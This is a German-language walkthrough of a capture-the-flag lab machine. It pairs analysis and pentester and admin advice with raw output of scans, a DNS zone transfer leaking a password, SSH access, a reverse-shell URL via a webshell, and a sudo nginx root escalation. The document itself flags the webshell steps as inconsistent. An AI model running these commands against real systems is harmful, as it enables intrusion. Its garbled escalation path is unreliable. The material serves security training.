Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.
Bewertung: Ein Host mit der IP `192.168.2.114` und der MAC-Adresse `08:00:27:6c:e5:49` (VirtualBox) wird als Ziel erkannt.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.114 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung unbekannter Geräte.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.121 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.114 08:00:27:6c:e5:49 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.899 seconds (134.81 hosts/sec). 1 responded
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.114 durchgeführt.
Bewertung: !!Mehrere Dienste gefunden!!** - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). - **Port 53 (DNS):** Ein DNS-Server läuft. Nmap kann das Banner nicht genau identifizieren ("not currently available"), aber die Existenz eines DNS-Servers ist ein wichtiger Hinweis. - **Port 80 (HTTP):** Nginx 1.14.2. Das OS wird als Linux erkannt, der Hostname ist `family`.
Empfehlung (Pentester): Untersuche alle drei Dienste:
- **DNS (Port 53):** Versuche Zonentransfers (`dig axfr`), frage nach gängigen Record-Typen (MX, TXT, SRV), versuche Versionsabfragen (`dig version.bind`).
- **HTTP (Port 80):** Führe Web-Enumeration durch (Gobuster, Nikto, manuelle Analyse).
- **SSH (Port 22):** Suche nach Benutzernamen (eventuell über DNS oder Web) und versuche Passwort-Angriffe (falls Benutzer gefunden werden).
Empfehlung (Admin): Stelle sicher, dass der DNS-Server sicher konfiguriert ist (Zonentransfers nur an autorisierte Server erlauben, keine sensiblen Informationen in TXT-Records). Sichere SSH und Nginx (Updates, Konfiguration).
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 23:10 CET Nmap scan report for family (192.168.2.114) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6d:7e:d2:d5:d0:45:36:d7:c9:ed:3e:1d:5c:86:fb:e4 (RSA) | 256 04:9d:9a:de:af:31:33:1c:7c:24:4a:97:38:76:f5:f7 (ECDSA) |_ 256 b0:8c:ed:ea:13:0f:03:2a:f3:60:8a:c3:ba:68:4a:be (ED25519) 53/tcp open domain (unknown banner: not currently available) | fingerprint-strings: | DNSVersionBindReqTCP: | version | bind |_ currently available | dns-nsid: |_ bind.version: not currently available 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:6C:E5:49 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms family (192.168.2.114) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.75 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet.
Bewertung: Es werden nur `/index.html` und ein Bild `/comic.png` gefunden. Keine versteckten Verzeichnisse oder Dateien mit dieser Wortliste.
Empfehlung (Pentester): Untersuche den Inhalt von `/index.html` und das Bild. Konzentriere dich auf den DNS-Dienst.
Empfehlung (Admin): Keine spezifische Aktion.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.114 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/11/07 23:12:05 Starting gobuster =============================================================== http://192.168.2.114/index.html (Status: 200) [Size: 57] http://192.168.2.114/comic.png (Status: 200) [Size: 466543] =============================================================== 2022/11/07 23:15:30 Finished ===============================================================
Analyse: Der Quellcode der `/index.html` wird untersucht.
Bewertung: !!Hostname gefunden!!** Ein Kommentar `<--webmaster.hmv -` wird gefunden. Dies ist ein wichtiger Hinweis auf den Domainnamen, der vom DNS-Server (Port 53) verwaltet wird.
Empfehlung (Pentester): Füge `webmaster.hmv` zur lokalen `/etc/hosts`-Datei
hinzu, die auf 192.168.2.114 zeigt. Verwende diesen Hostnamen für weitere DNS-Abfragen (`dig`).
Empfehlung (Admin): Entferne unnötige Kommentare oder Hinweise aus dem HTML-Quellcode.
view-source:http://192.168.2.114/index.html title:Test Page img src="comic.png" alt="comic" <--webmaster.hmv --> <-- Hostname! -->
Analyse: `nikto` wird verwendet, um den Webserver zu scannen.
Bewertung: Bestätigt Nginx und fehlende Security-Header. Keine neuen kritischen Funde.
Empfehlung (Pentester): Fokus auf DNS-Enumeration.
Empfehlung (Admin): Setze Security-Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 80 + Start Time: 2022-11-07 23:16:49 (GMT1) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7915 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-11-07 23:17:04 (GMT1) (15 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `curl -Iv` ruft die HTTP-Header der Startseite ab.
Bewertung: Bestätigt Serverdetails, keine neuen Informationen.
Empfehlung (Pentester): Nicht weiter relevant.
Empfehlung (Admin): Keine Aktion.
* Trying 192.168.2.114:80... * Connected to 192.168.2.114 (192.168.2.114) port 80 (#0) > HEAD / HTTP/1.1 > Host: 192.168.2.114 > User-Agent: curl/7.86.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.14.2 < Date: Mon, 07 Nov 2022 22:19:44 GMT < Content-Type: text/html < Content-Length: 57 < Last-Modified: Sat, 05 Dec 2020 09:48:55 GMT < Connection: keep-alive < ETag: "5fcb5787-39" < Accept-Ranges: bytes < * Connection #0 to host 192.168.2.114 left intact
Analyse: Mit `dig` wird versucht, die Version des DNS-Servers (`version.bind`) über eine spezielle Anfrage (`CH TXT`) abzufragen. Der Hostname `webmaster.hmv` (aus `/etc/hosts`) wird verwendet.
Bewertung: !!Fehlgeschlagen!!** Der Server antwortet mit "not currently available". Die Version kann nicht ermittelt werden, aber die Anfrage bestätigt, dass der DNS-Server auf `webmaster.hmv` (192.168.2.114) reagiert.
Empfehlung (Pentester): Versuche einen Zonentransfer (`dig axfr`).
Empfehlung (Admin): Konfiguriere den DNS-Server so, dass er keine Versionsinformationen preisgibt.
; <<>> DiG 9.18.8-1-Debian <<>> version.bind CH TXT @webmaster.hmv ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44816 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: 1b61860c17989dea234df3c8636984607af9cc8c40b528ad (good) ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "not currently available" ;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind. ;; Query time: 20 msec ;; SERVER: 192.168.2.114#53(webmaster.hmv) (UDP) ;; WHEN: Mon Nov 07 23:19:02 CET 2022 ;; MSG SIZE rcvd: 119
Analyse: Es wird versucht, SNMP-Informationen vom Host `webmaster.hmv` mit der Community-String `public` abzufragen.
Bewertung: !!Fehlgeschlagen!!** Der Befehl endet mit einem Timeout. SNMP ist entweder nicht aktiv, läuft auf einem anderen Port oder verwendet eine andere Community-String.
Empfehlung (Pentester): SNMP ist kein erfolgreicher Vektor hier.
Empfehlung (Admin): Deaktiviere SNMP, wenn es nicht benötigt wird, oder sichere es mit starken Community-Strings und Zugriffskontrollen.
Timeout: No Response from webmaster.hmv
Analyse: Ein DNS Zonentransfer (AXFR) wird für die Domain `webmaster.hmv` beim DNS-Server 192.168.2.114 angefragt.
Bewertung: !!Kritische Informationspreisgabe & Erfolg!!** Der Zonentransfer ist **erfolgreich**! Dies ist eine häufige Fehlkonfiguration, die es einem Angreifer ermöglicht, alle DNS-Einträge für eine Zone abzurufen. Die Ausgabe enthüllt: - Hostnamen wie `ns1`, `ftp`, `mail`, `www`. - **Einen TXT-Record für `john.webmaster.hmv` mit dem Inhalt `"Myhiddenpazzword"`!** Dies ist ein offensichtliches Passwort oder ein starker Hinweis darauf. - Interne IP-Adressen (192.168.0.11, 192.168.0.12), die aber weniger relevant sind.
Empfehlung (Pentester):**Sofortige Aktion:** Verwende den Benutzernamen `john` und das Passwort `Myhiddenpazzword`, um dich per SSH (Port 22) anzumelden.
Empfehlung (Admin):**DRINGEND:** Konfiguriere den DNS-Server so, dass Zonentransfers (AXFR) nur von autorisierten sekundären DNS-Servern erlaubt sind. Speichere niemals Passwörter oder sensible Informationen in DNS-TXT-Records.
; <<>> DiG 9.18.8-1-Debian <<>> axfr @192.168.2.114 webmaster.hmv
; (1 server found)
;; global options: +cmd
webmaster.hmv. 604800 IN SOA ns1.webmaster.hmv. root.webmaster.hmv. 2 604800 86400 2419200 604800
webmaster.hmv. 604800 IN NS ns1.webmaster.hmv.
ftp.webmaster.hmv. 604800 IN CNAME www.webmaster.hmv.
john.webmaster.hmv. 604800 IN TXT "Myhiddenpazzword"
mail.webmaster.hmv. 604800 IN A 192.168.0.12
ns1.webmaster.hmv. 604800 IN A 127.0.0.1
www.webmaster.hmv. 604800 IN A 192.168.0.11
webmaster.hmv. 604800 IN SOA ns1.webmaster.hmv. root.webmaster.hmv. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.2.114#53(192.168.2.114) (TCP)
;; WHEN: Mon Nov 07 23:37:56 CET 2022
;; XFR size: 8 records (messages 1, bytes 274)
Analyse: Eine SSH-Verbindung wird als Benutzer `john` zum Ziel `webmaster.hmv` aufgebaut. Das Passwort `Myhiddenpazzword` (aus dem DNS TXT-Record) wird eingegeben.
Bewertung: !!Initial Access erfolgreich!!** Der SSH-Login gelingt. Der Angreifer hat nun eine Shell als Benutzer `john`.
Empfehlung (Pentester): Beginne mit der Enumeration als `john`. Suche die User-Flag und prüfe `sudo`-Rechte.
Empfehlung (Admin): Ändere das Passwort für `john`. Behebe die DNS-Fehlkonfiguration (AXFR, TXT-Record).
The authenticity of host 'webmaster.hmv (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:Pc29l65Be7facFkvVvZRZLlHBJBvwLH5bciipZXstQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'webmaster.hmv' (ED25519) to the list of known hosts.
john@webmaster.hmv's password: Myhiddenpazzword
Linux webmaster 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 5 05:38:56 2020 from 192.168.1.58
john@webmaster:~$
Analyse: Als `john` wird `sudo -l` ausgeführt, um die `sudo`-Berechtigungen zu prüfen.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** Der Benutzer `john` darf `/usr/sbin/nginx` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen. Dies ist eine bekannte und oft ausnutzbare Fehlkonfiguration.
Empfehlung (Pentester): Nutze diese Berechtigung zur Eskalation. Recherchiere auf GTFOBins nach Methoden für `sudo nginx`. Ein gängiger Ansatz ist das Laden einer manipulierten Konfigurationsdatei (`-c`), die Root-Rechte missbraucht (z.B. zum Lesen von Dateien oder Ausführen von Befehlen).
Empfehlung (Admin):**DRINGEND:** Entferne oder beschränke diese `sudo`-Regel. Gewähre `sudo`-Rechte nur minimal und niemals für komplexe Dienste wie Webserver ohne spezifische Einschränkungen und Passwortabfrage.
john@webmaster:~$ sudo -l
Matching Defaults entries for john on webmaster:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on webmaster:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
Analyse: Die Hilfeausgabe von Nginx wird angezeigt (vermutlich durch Aufruf von `nginx -h`).
Bewertung: Bestätigt die Nginx-Version (1.14.2) und zeigt verfügbare Optionen, darunter `-c filename` zum Laden einer Konfigurationsdatei und `-g directives` zum Setzen globaler Direktiven.
Empfehlung (Pentester): Verwende die Optionen `-c` und/oder `-g` für den Exploit.
Empfehlung (Admin): Keine Aktion.
john@webmaster:~$ nginx -h
nginx version: nginx/1.14.2
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]
Options:
-?,-h : this help
-v : show version and exit
-V : show version and configure options then exit
-t : test configuration and exit
-T : test configuration, dump it and exit
-q : suppress non-error messages during configuration testing
-s signal : send signal to a master process: stop, quit, reopen, reload
-p prefix : set prefix path (default: /usr/share/nginx/)
-c filename : set configuration file (default: /etc/nginx/nginx.conf)
-g directives : set global directives out of configuration file
Analyse: Als `john` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis gelesen.
Bewertung: Die User-Flag `HMVdnsyo` wird gefunden.
Empfehlung (Pentester): Notiere die Flag. Konzentriere dich auf die `sudo nginx`-Eskalation.
Empfehlung (Admin): Keine Aktion.
john@webmaster:~$ cat user.txt HMVdnsyo
Analyse: Eine Referenz auf einen Exploit-DB-Eintrag (40768) für CVE-2016-1247 wird gezeigt, gefolgt von der Ausgabe eines Exploit-Skripts (`nginxed-root.sh`). Dieses Skript prüft auf die Nginx-Logdatei-Schwachstelle.
Bewertung: !!Irrelevanter Pfad/Fehlversuch!!** Das Skript stellt fest, dass es als `www-data` ausgeführt werden muss, nicht als `john`. Dieser spezifische CVE und Exploit ist hier nicht anwendbar, da der Angreifer `john` ist und eine andere Eskalationsmethode (`sudo nginx`) zur Verfügung hat. Dies war wahrscheinlich ein Fehlversuch oder eine Verwechslung.
Empfehlung (Pentester): Ignoriere diesen CVE und das Skript. Konzentriere dich auf die direkte Ausnutzung der `sudo nginx`-Berechtigung.
Empfehlung (Admin): Keine Aktion.
# Exploit-DB Referenz (nicht der hier genutzte Weg)
# https://www.exploit-db.com/exploits/40768
john@webmaster:/tmp$ ./nginx.sh /var/log/nginx/error.log
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)
nginxed-root.sh (ver. 1.0)
Discovered and coded by:
Dawid Golunski
https://legalhackers.com
[+] Starting the exploit as:
uid=1000(john) gid=1000(john) groups=1000(john),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[!] You need to execute the exploit as www-data user! Exiting.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Analyse: Dieser Abschnitt zeigt Schritte, die typischerweise von einem Angreifer mit `www-data`-Zugriff ausgeführt werden, um eine Webshell zu erstellen und eine Reverse Shell zu erhalten (`echo '' > abc.php`, `nc -lvnp`, Aufruf der Webshell). **Wichtiger Hinweis:** Diese Schritte passen **nicht** zum aktuellen Kontext, da der Angreifer bereits eine Shell als `john` hat und einen `sudo`-Vektor zur Verfügung hat. Diese Befehle sind wahrscheinlich aus einem anderen Test kopiert oder ein Missverständnis.
Bewertung: !!Fehlgeleitete/Irrelevante Schritte!!** Diese Befehle sind für die Eskalation von `john` zu `root` über `sudo nginx` nicht notwendig oder zielführend. Sie führen zwar zu einer Root-Shell im Log, aber der Mechanismus (Webshell) passt nicht zur Berechtigung von `john`. Es ist sehr wahrscheinlich, dass der *tatsächliche* Exploit über `sudo nginx` ausgeführt wurde, aber nicht korrekt geloggt wurde, und stattdessen diese irrelevanten Schritte eingefügt wurden.
Empfehlung (Pentester): Ignoriere diese Schritte im tatsächlichen Exploit-Pfad. Konzentriere dich auf die korrekte Ausnutzung von `sudo nginx`, wie im POC-Abschnitt beschrieben.
Empfehlung (Admin): Keine Aktion bezüglich dieser spezifischen (wahrscheinlich irrelevanten) Schritte, aber die `sudo nginx`-Fehlkonfiguration bleibt das Hauptproblem.
john@webmaster:/tmp$ cd /var/www/html/ john@webmaster:/var/www/html$ echo '' > abc.php john@webmaster:/var/www/html$
# Aufruf von: http://webmaster.hmv/abc.php?cmd=ls # Aufruf von: http://webmaster.hmv/abc.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.121%2F9001%200%3E%261%27
listening on [any] 9001 ... connect to [192.168.2.121] from (UNKNOWN) [192.168.2.114] 51988 bash: cannot set terminal process group (396): Inappropriate ioctl for device bash: no job control in this shell www-data@webmaster:/var/www/html#
Analyse: Als `www-data` (aus der vermutlich fehlgeleiteten Reverse Shell) wird die Root-Flag gelesen.
Bewertung: Die Root-Flag `HMVnginxpwnd` wird angezeigt. Dies bestätigt, dass Root-Zugriff irgendwie erlangt wurde, auch wenn der dokumentierte Weg inkonsistent ist.
Empfehlung (Pentester): Dokumentiere den korrekten Exploit-Pfad über `sudo nginx` im POC-Abschnitt.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
www-data@webmaster:/var/www/html# cat /root/root.txt HMVnginxpwnd
Analyse: Der korrekte Exploit für die `sudo nginx`-Berechtigung wird hier demonstriert (basierend auf GTFOBins). Als Benutzer `john` werden folgende Befehle ausgeführt: 1. `TF=$(mktemp)`: Erstellt eine temporäre Datei. 2. `echo 'user root;error_log /dev/stdout info;' > $TF`: Schreibt eine minimale Nginx-Konfiguration in die temporäre Datei. Wichtig ist `user root;`, damit Nginx mit Root-Rechten läuft, und `error_log /dev/stdout info;`, um Fehler (und potenziell den Inhalt von Dateien) auf die Standardausgabe zu leiten. 3. `sudo /usr/sbin/nginx -c $TF -g 'daemon off;error_log /root/root.txt;'`: Führt Nginx mit `sudo` (als Root) aus. Es verwendet die temporäre Konfigurationsdatei (`-c $TF`). Entscheidend ist die globale Direktive (`-g`), die den `error_log` auf `/root/root.txt` setzt und `daemon off;` verwendet, damit Nginx im Vordergrund läuft. Da Nginx als Root versucht, in `/root/root.txt` zu schreiben (was fehlschlägt, aber Lesezugriff erfordert), oder weil die Direktive selbst den Inhalt liest, wird der Inhalt der Root-Flag-Datei in den (Standard-)Fehlerstrom geschrieben, der hier stdout ist.
Bewertung: !!Privilegieneskalation erfolgreich!!** Dieser Befehl nutzt die `sudo`-Fehlkonfiguration korrekt aus. Nginx läuft als Root und durch die Manipulation des `error_log`-Pfades über die `-g`-Direktive wird der Inhalt von `/root/root.txt` preisgegeben und auf dem Terminal ausgegeben. Der Angreifer hat somit die Root-Flag gelesen.
Empfehlung (Pentester): Ziel erreicht. Der Exploit demonstriert das Erlangen von Root-Äquivalenten Rechten (Lesen beliebiger Dateien als Root).
Empfehlung (Admin):**DRINGEND:** Entferne die unsichere `sudo`-Regel für `/usr/sbin/nginx`. Gewähre `sudo`-Rechte nur minimal und mit Passwort.
john@webmaster:~$ TF=$(mktemp) john@webmaster:~$ echo 'user root;error_log /dev/stdout info;' > $TF john@webmaster:~$ sudo /usr/sbin/nginx -c $TF -g 'daemon off;error_log /root/root.txt;' nginx: [alert] could not open error log file: open() "/root/root.txt" failed (13: Permission denied) HMVnginxpwnd